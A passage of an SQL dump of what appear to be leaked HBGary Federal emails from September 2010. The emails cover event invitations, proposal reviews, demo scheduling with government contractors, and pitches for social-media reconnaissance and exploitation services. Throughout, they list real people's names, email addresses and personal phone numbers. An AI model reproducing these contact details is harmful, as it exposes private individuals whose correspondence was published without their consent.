opportunities.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\nBill\r\n\r\n&nbsp;\r\n\r\nhttp://www.neuraliq.com/event-horizon/\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16070,'aaron_hbgary_com/16070.html'),(11910,'2010-09-17','\"William \\\"Bill\\\" Jones via LinkedIn\" <member@linkedin.com>','/aaron@hbgary.com/new/1297008883.M615726P14101Q6765.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            William &quot;Bill&quot; Jones has indicated you are a Friend:\r\n  \r\n    Good to meet you the other day during your capabilities presentation.\r\n\r\n I\'d  like to add you to my professional network on LinkedIn.\r\nThanks \r\n- Bill Jones\r\n  \r\n  \r\n  &nbsp;\r\n   \r\n  \r\n    \r\n        \r\n          Accept\r\n        \r\n         \r\n              View invitation from William &quot;Bill&quot; Jones\r\n        \r\n    \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  WHY MIGHT CONNECTING WITH WILLIAM &quot;BILL&quot; JONES BE A GOOD IDEA?\r\n  William &quot;Bill&quot; Jones\'s connections could be useful to you After accepting William &quot;Bill&quot; Jones\'s invitation, check William &quot;Bill&quot; Jones\'s connections to see who else you may know and who you might want an introduction to. Building these connections can create opportunities in the future.\r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n',14369,'aaron_hbgary_com/14369.html'),(11911,'2010-09-17','\"US Intelligence Association\" <mailer@delivery.cocodot.com>','/aaron@hbgary.com/new/1297008883.M815387P14101Q6766.eml','\"Aaron Barr\" <aaron@hbgary.com>','REMINDER: US Intelligence Association invited you to Its my party','\r\n\r\n\r\n  \r\n  	\r\n  		\r\n  		  \r\n  			\r\n  				\r\n\r\n  				  \r\n  				    \r\n  				    \r\n    				    \r\n                	\r\n                	  REMINDER: US Intelligence Association invited you to Its my party\r\n                	\r\n                \r\n              \r\n              \r\n              \r\n              \r\n              \r\n  				    \r\n  				    \r\n  				    \r\n  \r\n  	\r\n  	  \r\n  	\r\n  \r\n\r\n\r\n\r\n  &nbsp;\r\n  \r\n  	\r\n  	\r\n  		\r\n  			\r\n  			  EVENT DETAILS\r\n  			\r\n  		\r\n  		\r\n  			\r\n  			  \r\n  			\r\n  				\r\n  					\r\n  					  \r\n  						  \r\n\r\n\r\nINVITATION:\r\n     Its my party\r\n\r\n\r\nHOST:\r\n     US Intelligence Association\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n    \r\n    \r\n\r\n    DATE:\r\n    September 17, 2010\r\n\r\n\r\n  \r\n    \r\n    \r\n    \r\n\r\n    TIME:\r\n    05:00pm - 07:00pm EDT\r\n\r\n\r\n  \r\n\r\n\r\n&nbsp;\r\n    \r\n\r\n\r\n\r\n\r\n  LOCATION:\r\n     Mclean Hilton\r\n\r\n\r\n\r\n\r\n\r\n  ADDRESS:\r\n     777 UR screwed dr.Mclean, VA 22101\r\n\r\n\r\n\r\n\r\n\r\n  &nbsp;\r\n    link to map\r\n\r\n\r\n\r\n  					  \r\n  					\r\n  					\r\n  					  \r\n  					    \r\n  					  \r\n  					\r\n  				\r\n  			\r\n  			\r\n  			\r\n  		\r\n  	\r\n  	\r\n  \r\n\r\n\r\n\r\n\r\n	&nbsp;\r\n\r\n\r\n	\r\n	  \r\n	    \r\n	      \r\n	        \r\n            CLICK TO VIEW INVITATION\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n    			\r\n\r\n\r\n  				    \r\n  				    \r\n              \r\n	&nbsp;\r\n\r\n\r\n	\r\n\r\n\r\n  				    \r\n                &nbsp;\r\n              \r\n              \r\n                \r\n                  \r\n                     \r\n                    Add mailer@delivery.cocodot.com to your address book to ensure that you receive cocodot emails in your inbox.\r\n                \r\n              \r\n  				    \r\n                &nbsp;\r\n              \r\n              \r\n                \r\n                  \r\n                    Please do not reply to this message; it was sent from an unmonitored email address. This message was intended for aaron@hbgary.com. \r\n                    Don\'t want to receive these messages? Unsubscribe.\r\n                  \r\n                \r\n              \r\n            \r\n\r\n    			\r\n    		\r\n        \r\n    	\r\n    \r\n  \r\n\r\n\r\n',9541,'aaron_hbgary_com/9541.html'),(11912,'2010-09-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008884.M258200P14101Q6767.eml','\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','please review','All,\r\n\r\nPlease review and provide comments or edits.  I still need to work on the conclusion paragraph.\r\n\r\nBob please review and make comments.\r\n\r\nGreg the graphic probably needs a little editing based on content, either that or the content needs to be modified a bit, I would like suggestions.\r\n\r\nTed can you please add any formatting or information need for final submission (should be minimal)\r\n\r\nMark just apply your twisted mind to the concept.\r\n\r\nThanks\r\n\r\nAaron\r\n\r\n',5361,'aaron_hbgary_com/5361.html'),(11913,'2010-09-17','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008888.M717802P14101Q6768.eml','aaron@hbgary.com','Fwd: We’d love to hear from you. Please RSVP!','It just keeps sending these apparently.  You must lift the curse!\r\n \r\n-Greg\r\n---------- Forwarded message ----------From: US Intelligence Association &lt;mailer@delivery.cocodot.com&gt;\r\nDate: Fri, Sep 17, 2010 at 6:01 AMSubject: We’d love to hear from you. Please RSVP!To: Greg Hoglund &lt;greg@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe’d love to hear from you. Please RSVP! \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nINVITATION:\r\nIts my party\r\n\r\nHOST:\r\nUS Intelligence Association\r\n\r\nDATE:\r\nSeptember 17, 2010\r\n\r\nTIME:\r\n05:00pm - 07:00pm EDT\r\n\r\n \r\n\r\n\r\nLOCATION:\r\nMclean Hilton\r\n\r\nADDRESS:\r\n777 UR screwed dr.Mclean, VA 22101\r\n\r\n \r\nlink to map\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCLICK TO VIEW INVITATION \r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nAdd mailer@delivery.cocodot.com to your address book to ensure that you receive cocodot emails in your inbox. \r\n\r\n\r\n \r\n\r\nPlease do not reply to this message; it was sent from an unmonitored email address. This message was intended for greg@hbgary.com. Don&#39;t want to receive these messages? Unsubscribe. \r\n\r\n',6164,'aaron_hbgary_com/6164.html'),(11914,'2010-09-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008889.M450145P14101Q6769.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: We’d love to hear from you. Please RSVP!','Lol.  Yeah that is the last one.  Apparently I selected the reminder option.:0Sent from my iPhoneOn Sep 17, 2010, at 10:12 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nIt just keeps sending these apparently.  You must lift the curse!\r\n \r\n-Greg\r\n---------- Forwarded message ----------From: US Intelligence Association &lt;mailer@delivery.cocodot.com&gt;\r\n\r\nDate: Fri, Sep 17, 2010 at 6:01 AMSubject: We’d love to hear from you. Please RSVP!To: Greg Hoglund &lt;greg@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe’d love to hear from you. Please RSVP! \r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nINVITATION:\r\nIts my party\r\n\r\nHOST:\r\nUS Intelligence Association\r\n\r\nDATE:\r\nSeptember 17, 2010\r\n\r\nTIME:\r\n05:00pm - 07:00pm EDT\r\n\r\n \r\n\r\n\r\nLOCATION:\r\nMclean Hilton\r\n\r\nADDRESS:\r\n777 UR screwed dr.Mclean, VA 22101\r\n\r\n \r\nlink to map\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCLICK TO VIEW INVITATION \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nAdd mailer@delivery.cocodot.com to your address book to ensure that you receive cocodot emails in your inbox. \r\n\r\n\r\n\r\n \r\n\r\nPlease do not reply to this message; it was sent from an unmonitored email address. This message was intended for greg@hbgary.com. Don&#39;t want to receive these messages? Unsubscribe. \r\n\r\n\r\n\r\n',16651,'aaron_hbgary_com/16651.html'),(11915,'2010-09-17','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008889.M769835P14101Q6770.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Re: please review',' \r\nI made significant wordsmithing changes.  Track changes is on.\r\n \r\n-Greg\r\n \r\nOn Fri, Sep 17, 2010 at 6:08 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nAll,Please review and provide comments or edits.  I still need to work on the conclusion paragraph.\r\nBob please review and make comments.Greg the graphic probably needs a little editing based on content, either that or the content needs to be modified a bit, I would like suggestions.Ted can you please add any formatting or information need for final submission (should be minimal)\r\nMark just apply your twisted mind to the concept.ThanksAaron\r\n',1538,'aaron_hbgary_com/1538.html'),(11916,'2010-09-17','\"Nolan Clifford\" <nolan@informationsecuritysolutionsllc.com>','/aaron@hbgary.com/new/1297008890.M126389P14101Q6771.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,,','RE: Social Media, Exploitation, and Persistent Internet Operations','v\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\nSounds good, thanks Aaron.&nbsp;&nbsp;Nolan Clifford, CISSP, CFCPCEO, Information Security Solutionswww.informationsecuritysolutionsllc.com703-945-7480 &#8211;Blackberry703-869-7396 &#8211; Mobile&nbsp;From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, September 16, 2010 11:24 AMTo: nolan@informationsecuritysolutionsllc.comCc: Bob Slapnik; David C. McGuffey; Rich Cummings; Blake Darche; Ted VeraSubject: Re: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Hey Nolan,&nbsp;The delay in the TMC is we are rewriting some areas that work but need more stability and at the same time we are adding some new functionality. &nbsp;In less than 30 days we will have the ability to submit malware and generate detailed reports with DDNA scoring, query the malware database for specific markers or signatures, and pull fingerprinting data based on key environmental variables, which allows you to pull up clusters of related malware. &nbsp;Past 30 days we are working on integrating Palantir as part of the front end so you can map and analyze more effectively. &nbsp;In addition we are building social media collectors/scrapers and will be adding that data as well. &nbsp;We have talked with US-CERT, FBI Cyber Division, and IARPA about this capability and so far have met with very good feedback on the direction and potential benefit to their organizations.&nbsp;When we get closer to the end of the first dev cycle we will let you know and set up a demo.&nbsp;Aaron&nbsp;On Sep 15, 2010, at 12:05 AM, Nolan Clifford wrote:No worries Bob, we can reschedule. This is a super busy week for us on the program anyway.Thanks,Nolan703-945-7480 Sent via BlackBerry by AT&amp;TFrom:&nbsp;&quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt;Date:&nbsp;Wed, 15 Sep 2010 00:03:21 -0400To:&nbsp;&lt;nolan@informationsecuritysolutionsllc.com&gt;; \'McGuffey, David C.\'&lt;DAVID.C.MCGUFFEY@saic.com&gt;; \'Rich Cummings\'&lt;rich@hbgary.com&gt;Cc:&nbsp;\'Blake Darche\'&lt;blake.darche@informationsecuritysolutionsllc.com&gt;; \'Ted Vera\'&lt;ted@hbgary.com&gt;; \'Aaron Barr\'&lt;aaron@hbgary.com&gt;Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Nolan,&nbsp;Thanks for the reminder.&nbsp; I&#8217;ve been immersed in proposal writing since Sunday morning and my mind has been preoccupied.&nbsp; I had lined up Ted Vera to do the demo via webex because I wanted him to show you the new Threat Management Center.&nbsp; As of last Wednesday they were still tweaking TMC and weren&#8217;t sure if they would have it ready by this Wednesday.&nbsp; If you need to see TMC then we may want to reschedule.&nbsp; If all you want to see is Active Defense, Digital DNA and Responder, then I can ask Rich or Ted to do the demo.&nbsp; Let&#8217;s touch base Wednesday morning to see if we are still on.&nbsp; My apology for being distracted.&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&nbsp;From:&nbsp;Nolan Clifford [mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;Sent:&nbsp;Tuesday, September 14, 2010 10:37 PMTo:&nbsp;\'Bob Slapnik\'; \'McGuffey, David C.\'; \'Rich Cummings\'Cc:&nbsp;\'Blake Darche\'Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Are we still on for tomorrow at 10 or should we reschedule?&nbsp;Thanks,Nolan&nbsp;&nbsp;Nolan Clifford, CISSP, CFCPCEO, Information Security Solutionswww.informationsecuritysolutionsllc.com703-945-7480 &#8211;Blackberry703-869-7396 &#8211; Mobile&nbsp;From:&nbsp;Nolan Clifford [mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;Sent:&nbsp;Tuesday, September 07, 2010 4:01 PMTo:&nbsp;\'Bob Slapnik\'; \'McGuffey, David C.\'; \'Rich Cummings\'Cc:&nbsp;\'Blake Darche\'Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Bob,&nbsp;We would do the demo here in the same room most likely. That date and time works fine for me, thanks.&nbsp;Best,Nolan&nbsp;&nbsp;Nolan Clifford, CISSP, CFCPCEO, Information Security Solutionswww.informationsecuritysolutionsllc.com703-945-7480 &#8211;Blackberry703-869-7396 &#8211; Mobile&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, September 07, 2010 2:01 PMTo:&nbsp;\'McGuffey, David C.\';&nbsp;nolan@informationsecuritysolutionsllc.com; \'Rich Cummings\'Cc:&nbsp;\'Blake Darche\'Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Nolan and David,&nbsp;How about 10 am on Wed 9/15? &nbsp;&nbsp;Would we meet at the SAIC office or onsite at Fort Meade?&nbsp; Odds are pretty good that we will be able to include a demo of the Threat Management Center which is the ability to automatically analyze large numbers of binaries.&nbsp; If we demo TMC it would need to be via webex as our guys working on TMC are in Colorado.&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&nbsp;&nbsp;From:&nbsp;McGuffey, David C. [mailto:DAVID.C.MCGUFFEY@saic.com]&nbsp;Sent:&nbsp;Tuesday, September 07, 2010 8:22 AMTo:&nbsp;nolan@informationsecuritysolutionsllc.com; Bob Slapnik; Rich CummingsCc:&nbsp;McGuffey, David C.; Blake DarcheSubject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Same here.&nbsp; I&#8217;m off Friday to take 50 of our church youth (and 10 adults) on a beach camping trip to Assateague Is. this coming weekend.&nbsp; May take Monday to recover. I have a commitment on Wed the 15th, so Tue, Thu, Fri would be best.&nbsp;Dave McGuffeyPrincipal Information Assurance Engineer // NSA-IAM, NSA-IEMScience Applications International Corp., Columbia, MD410-872-4051 (w)443.597.6402 (mobile)&nbsp;From:&nbsp;Nolan Clifford [mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;Sent:&nbsp;Monday, September 06, 2010 19:23To:&nbsp;\'Bob Slapnik\'; McGuffey, David C.; \'Blake Darche\'; \'Rich Cummings\'Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Week of 9/13 is much better for me&#8230;&nbsp;&nbsp;Nolan Clifford, CISSP, CFCPCEO, Information Security Solutionswww.informationsecuritysolutionsllc.com703-945-7480 &#8211;Blackberry703-869-7396 &#8211; Mobile&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Thursday, September 02, 2010 11:16 PMTo:&nbsp;nolan@informationsecuritysolutionsllc.com; \'McGuffey, David C.\'; \'Blake Darche\'; \'Rich Cummings\'Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Nolan,&nbsp;Sorry, can&#8217;t do 9/9.&nbsp; Here are some days/times that work&#8230;&#8230;.9/7, 10 am or later9/10Week of 9/13 is open&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&nbsp;&nbsp;From:&nbsp;Nolan Clifford [mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;Sent:&nbsp;Thursday, September 02, 2010 9:26 PMTo:&nbsp;\'Bob Slapnik\'; \'McGuffey, David C.\'; \'Blake Darche\'; \'Rich Cummings\'Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;How does next Thursday the 9th&nbsp;work for everyone?&nbsp;&nbsp;Nolan Clifford, CISSP, CFCPCEO, Information Security Solutionswww.informationsecuritysolutionsllc.com703-945-7480 &#8211;Blackberry703-869-7396 &#8211; Mobile&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Thursday, September 02, 2010 3:34 PMTo:&nbsp;nolan@informationsecuritysolutionsllc.com; \'McGuffey, David C.\'; \'Blake Darche\'; \'Rich Cummings\'Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Nolan, David, and Blake,&nbsp;We welcome the opportunity to deploy our software in Government spaces.&nbsp; Prior to deploying we would like to get more clear on what capabilities they need and which of our software products best fit the needs.&nbsp; What is the best next step?&nbsp; Would it be to meet with you and your Gov&#8217;t customer to match up needs and capabilities?&nbsp;The schedules for Rich and myself are remarkably open over the next few weeks.&nbsp; Please suggest a couple of days/times that work for you to get together.&nbsp;Bob Slapnik&nbsp; | &nbsp;Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&nbsp;&nbsp;From:&nbsp;Nolan Clifford [mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;Sent:&nbsp;Thursday, September 02, 2010 2:14 PMTo:&nbsp;\'McGuffey, David C.\'; \'Blake Darche\'; Rich Cummings; Bob SlapnikSubject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Great idea Dave.&nbsp;Rich and Bob &#8211; Any thoughts on this concept?&nbsp;Thanks,Nolan&nbsp;&nbsp;Nolan Clifford, CISSP, CFCPCEO, Information Security Solutionswww.informationsecuritysolutionsllc.com703-945-7480 &#8211;Blackberry703-869-7396 &#8211; Mobile&nbsp;From:&nbsp;McGuffey, David C. [mailto:DAVID.C.MCGUFFEY@saic.com]&nbsp;Sent:&nbsp;Thursday, September 02, 2010 11:17 AMTo:&nbsp;nolan@informationsecuritysolutionsllc.com; Blake DarcheCc:&nbsp;McGuffey, David C.Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Nolan,&nbsp;How do we get a demo copy of the HBGary stuff for Blake to test over at Gov&#8217;t spaces?&nbsp;Once we get a lab here, we should be testing out their stuff here&#8230;but in the meantime, Blake should get a shot at it over there.&nbsp;Dave McGuffeyPrincipal Information Assurance Engineer // NSA-IAM, NSA-IEMScience Applications International Corp., Columbia, MD410-872-4051 (w)443.597.6402 (mobile)&nbsp;From:&nbsp;Nolan Clifford [mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;Sent:&nbsp;Wednesday, September 01, 2010 17:10To:&nbsp;McGuffey, David C.; Blake DarcheSubject:&nbsp;FW: Social Media, Exploitation, and Persistent Internet Operations&nbsp;FYI&nbsp;&nbsp;Nolan Clifford, CISSP, CFCPCEO, Information Security Solutionswww.informationsecuritysolutionsllc.com703-945-7480 &#8211;Blackberry703-869-7396 &#8211; Mobile&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, September 01, 2010 2:32 PMSubject:&nbsp;Social Media, Exploitation, and Persistent Internet Operations&nbsp;The rise of the social web has created an entirely new set of useful technologies and security vulnerabilities. &nbsp;It is our experience that most individuals and organizations understand there are risks to using social media but don\'t understand the full extent, from what types of use, what the real risks are, or how the vulnerabilities can be fully exploited, and how to effectively protect themselves.HBGary Federal has extensive experience in social media technologies, how to use these tools effectively, what the risks are to information exposure and exploitation, and how to more effectively protect yourself and your organization. &nbsp;We feel this is an area that needs more attention and understanding quickly as the commercial social media platforms provide to much easy opportunities for threats.Attached is our training brochure for our online and in-class social media training programs, 1/2 and full day. &nbsp;We also offer a tailored training program that is preceded by a social media penetration test. &nbsp;The information gathered during the pen test is provided in a before and after information exposure report as well as the information is used to tailor the training program to make it as relevant as possible to the organization.Visit our training web page to review and sign up for one of our online training classes or send an email to schedule in-class room training. &nbsp;You can also follow us on twitter to receive regular updates &nbsp;or become a fan of our Facebook page.Web:&nbsp;training.hbgaryfederal.comTwitter: HBGaryFedFacebook: HBGary FederalEmail:&nbsp;training@hbgaryfederal.comNo virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3108 - Release Date: 09/02/10 02:34:00No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3110 - Release Date: 09/02/10 14:50:00No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/06/10 14:34:00No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3135 - Release Date: 09/14/10 14:34:00&nbsp;',2156,'aaron_hbgary_com/2156.html'),(11917,'2010-09-17','\"Lachow, Irving\" <LachowI@ndu.edu>','/aaron@hbgary.com/new/1297008890.M403454P14101Q6772.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Social Media','Hi Aaron.  I\'m going to transition to MITRE soon.  Next week is my last\r\nweek as a govie.  Let\'s touch base after I settle in.  I\'ll send out a\r\nmass email soon.\r\nCheers,\r\nIrv\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, July 06, 2010 10:17 AM\r\nTo: Ray Owen; Nathan Atherley; Lachow, Irving\r\nSubject: Social Media\r\n\r\nTo further our conversation on social media.  The talk I gave at the NSA\r\nREBL conference on the vulnerabilities of social media went well and I\r\nhave had a set of follow up meetings with different government\r\norganizations to discuss what could be done to help shore up their\r\ndefenses to social media as well as how they might better use it.  Here\r\nis where some things all start to fit together.\r\n\r\nSocial Media as a competitive intelligence tool.  There is an immense\r\namount of information that can be aggregated from social media services\r\nto develop competitive intelligence against any target.  Take any US\r\ndefense contractor.  If I could harvest a significant amount of data\r\nfrom sites such as FBO, Monster, LinkedIn, Input, Facebook, Twitter.\r\nWhat type of picture could I put together as far as company\r\ncapabilities, future plans, contract wins, etc.  From a targeting\r\nperspective could I identify information exposure points that lead to a\r\ndefensive weakness in an organization, I think yes.\r\n\r\nI spoke to INSCOM a few weeks ago about their desire to start to\r\nincorporate more social media reconnaissance and exploitation into their\r\nred team efforts.  Such a capability has a broad applicability that will\r\nbe more significantly needed in the future.\r\n\r\nOne of the slides in my presentation talks about the breakdown of\r\nclandestine capabilities because of social media.  Backstopping and\r\npersona management becomes a huge problem.  More to talk about here.\r\n\r\nThere is a general social media capability that could be developed to\r\nsatisfy both commercial and government requirements to manage social\r\nmedia information exposure, do human pentesting, and satisfy current and\r\nfuture intelligence requirements.\r\n\r\n(Nathan just remember I owe you a contact or two - I will get those to\r\nyou today).\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6529,'aaron_hbgary_com/6529.html'),(11918,'2010-09-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008890.M681773P14101Q6773.eml','\"Phil Wallisch\" <phil@hbgary.com>,mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>,\"Matt Standart\" <matt@hbgary.com>,\"Shawn Bracken\" <shawn@hbgary.com>','Fingerprint','I was able to extract all the files and ran FP.exe.  The output files\r\nare in Malware_Samples/Fingerprint\r\n\r\nFPout.txt\r\nscan_history.xml\r\n\r\nTed\r\n',15190,'aaron_hbgary_com/15190.html'),(11919,'2010-09-17','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297008890.M907798P14101Q6774.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: HB Gary Proposal December 2010','Hi Aaron, Did you decide not to pursue? If so, Penny may want to do --&gt; just want to confirm. Hope you are doing well. Best, K\r\nOn Tue, Sep 7, 2010 at 2:22 PM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\nHey Aaron, Just wanted to check back to see if this is something you would like to pursue. Best, K \r\n\r\n\r\n\r\nOn Fri, Sep 3, 2010 at 9:39 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\nHi Aaron, Last year Penny and HBGary participated in the December GTRA (Government Technology Research Alliance) Summit in Pennsylvania. It was very successful -- in fact, HBGary won several awards based on our participation. The show is coming up again December 5-7 and we thought you might be interested in participating on behalf of HBGary Federal. Attached are the two possible sponsorship opportunities. Right now, they still have two speaking slots open. If you are interested, we would need to let them know early next week to hold one of those spots. \r\n\r\n \r\nPenny can fill you in on more details if you have questions, etc. Also, here is a link to the summit http://gtra.org/index.php/gtra-events/dec-2010-defense-council-meeting\r\n\r\n \r\nPlease let me know what you decide. Best, Karen \r\n\r\n\r\n\r\n---------- Forwarded message ----------From: Kelly Yocum &lt;kellyy@gtra.org&gt;\r\nDate: Fri, Sep 3, 2010 at 9:00 AMSubject: HB Gary Proposal December 2010To: &quot;karen@hbgary.com&quot; &lt;karen@hbgary.com&gt;\r\n\r\n\r\n\r\nHi Karen,It was great speaking with you. Attached are the two package options we have available. The significant differences are speaking, number of attendees, number of guaranteed government meetings and the upgraded deluxe marketing package.\r\nPlease don&#39;t hesitate to call my cell should you have any questions.Have a great weekend!\r\n\r\nBest Regards,\r\nKelly YocumCo-Founder &amp; Executive DirectorGovernment Technology Research Alliance \r\n(GTRA)1701 Pennsylvania Ave, NWSuite 300\r\nWashington DC, 20006202.248.5411 Office415.596.5000 Mobile\r\n202.351.0569 Faxwww.GTRA.org \r\nwww.GTRACouncilMeeting.orgwww.GOVTekAwards.org\r\nhttp://www.linkedin.com/in/kellyyocumhttp://www.twitter.com/gtra\r\nGTRA – Improving Government Collaboration For Solutions &amp; Innovation!\r\n\r\n',2462,'aaron_hbgary_com/2462.html'),(11920,'2010-09-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008891.M191044P14101Q6775.eml','\"Barr Aaron\" <aaron@hbgary.com>','Abstract','The draft is missing a lot, this isn\'t an easy do.\r\n\r\nThey are looking for the following in the Abstract:\r\n\r\nA. Executive Summary:\r\nIncludes a title and an abstract that provides a concise statement of\r\nwork and basic approaches to be used.  This should be on a separate\r\npage and in a form suitable for release under the Freedom of\r\nInformation Act, 5 U.S.C. 552, as amended.\r\n\r\nB. Summary of Innovative Claims for the Proposed Research:\r\nSuccinctly describe the uniqueness and benefits of the proposed\r\napproach relative to the current state-of-art and alternative\r\napproaches.\r\n\r\nC. Summary of Technical Approach:\r\nThe technical rationale, technical approach, and constructive plan for\r\naccomplishments of technical goals in support of innovative claims and\r\ndeliverable production should be summarized.\r\n\r\nD. Organization and Teaming Chart:\r\nA clearly defined organization chart for the program team that\r\nincludes, as applicable:\r\n1.	programmatic relationship of team members;\r\n2.	unique capabilities of team members;\r\n3.	task responsibilities of team members;\r\n4.	teaming strategy among the team members;\r\n5.	key personnel along with the amount of effort to be expended by\r\neach person during each year.\r\n\r\nE. Summary of Deliverables and Approach to Intellectual Property:\r\nDeliverables associated with the proposed research and the plans and\r\ncapability to accomplish technology transition and commercialization.\r\nInclude in this section all proprietary claims to results, prototypes,\r\nintellectual property, or systems supporting and/or necessary for the\r\nuse of the research, results, and/or prototype.  If there are no\r\nproprietary claims, this should be stated.  This section should list\r\nall technical data, computer software, or computer software\r\ndocumentation to be provided with other than unlimited rights in\r\naccordance with DFARS Clause 252.227-7017 IDENTIFICATION AND ASSERTION\r\nOF USE, RELEASE, OR DISCLOSURE RESTRICTIONS (JUNE 1995).  Reference\r\nsection 3.4.\r\n\r\nF. Summary of Cost, Schedule, and Milestones:\r\nSummarize, in table form, cost, schedule, and milestones for the\r\nproposed research, including estimates of cost for each deliverable\r\nand total cost.\r\n\r\nG. Discussion of Other Research (Optional):\r\nCompare the proposed effort with other ongoing research in this area.\r\nDescribe the advantages and disadvantages of the proposed effort in\r\ncomparison with other relevant research.\r\n',3573,'aaron_hbgary_com/3573.html'),(11921,'2010-09-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008891.M478162P14101Q6776.eml','\"Barr Aaron\" <aaron@hbgary.com>','Tawny','Can you please contact TASC to see if they can move out quickly 